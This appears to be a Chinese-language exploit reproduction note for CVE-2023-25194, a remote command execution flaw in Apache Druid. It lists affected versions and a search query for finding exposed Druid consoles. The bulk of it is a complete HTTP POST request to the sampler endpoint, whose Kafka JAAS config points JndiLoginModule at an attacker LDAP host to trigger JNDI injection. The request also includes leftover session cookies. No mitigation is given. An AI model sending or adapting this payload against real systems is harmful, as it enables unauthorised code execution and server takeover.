Apace Druid存在 远程命令执行漏洞(CVE-2023-25194)
一、漏洞简介
Apache Druid是一个实时分析型数据库，旨在对大型数据集进行快速的查询分析（"OLAP"查询)。Druid最常被当做数据库来用以支持实时摄取、高性能查询和高稳定运行的应用场景，同时，Druid也通常被用来助力分析型应用的图形化界面，或者当做需要快速聚合的高并发后端API，Druid最适合应用于面向事件类型的数据。Apace Druid存在 远程命令执行漏洞(CVE-2023-25194)
二、影响版本
- 0.19.0 <= Apache Druid <= 25.0.0
三、资产测绘
title="Apache Druid"
四、漏洞复现
POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host:
Content-Length: 1400
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Content-Type: application/json
Origin: http://vps:8888
Referer: http://vps:8888/unified-console.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: pZaf_2132_ulastactivity=050484OuqAxDqETcOja26QKgFkE4HbrlSk4NbAkGRg9oNLIbkCUN; pZaf_2132_nofavfid=1; pZaf_2132_smile=1D1; pZaf_2132_home_readfeed=1682214968; pZaf_2132_lastviewtime=1%7C1682215445; pZaf_2132_lastcheckfeed=1%7C1682217817; kOJf_2132_saltkey=MGWItu8r; kOJf_2132_lastvisit=1683339017; kOJf_2132_ulastactivity=27e4qsFumyqDRGo03vcLLEHChJmZRharD1jfbUJnU1NIIIrbB8UL; kOJf_2132_nofavfid=1; kOJf_2132_lastcheckfeed=1%7C1683342726; PHPSESSID=3543e022151ed94117e84216
Connection: close
{
"type":"kafka",
"spec":{
"type":"kafka",
"ioConfig":{
"type":"kafka",
"consumerProperties":{
"bootstrap.servers":"127.0.0.1:6666",
"sasl.mechanism":"SCRAM-SHA-256",
"security.protocol":"SASL_SSL",
"sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://wuriedscos.dgrh3.cn\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
},
"topic":"test",
"useEarliestOffset":true,
"inputFormat":{
"type":"regex",
"pattern":"([\\s\\S]*)",
"listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965",
"columns":[
"raw"
]
}
},
"dataSchema":{
"dataSource":"sample",
"timestampSpec":{
"column":"!!!_no_such_column_!!!",
"missingValue":"1970-01-01T00:00:00Z"
},
"dimensionsSpec":{
},
"granularitySpec":{
"rollup":false
}
},
"tuningConfig":{
"type":"kafka"
}
},
"samplerConfig":{
"numRows":500,
"timeoutMs":15000
}
}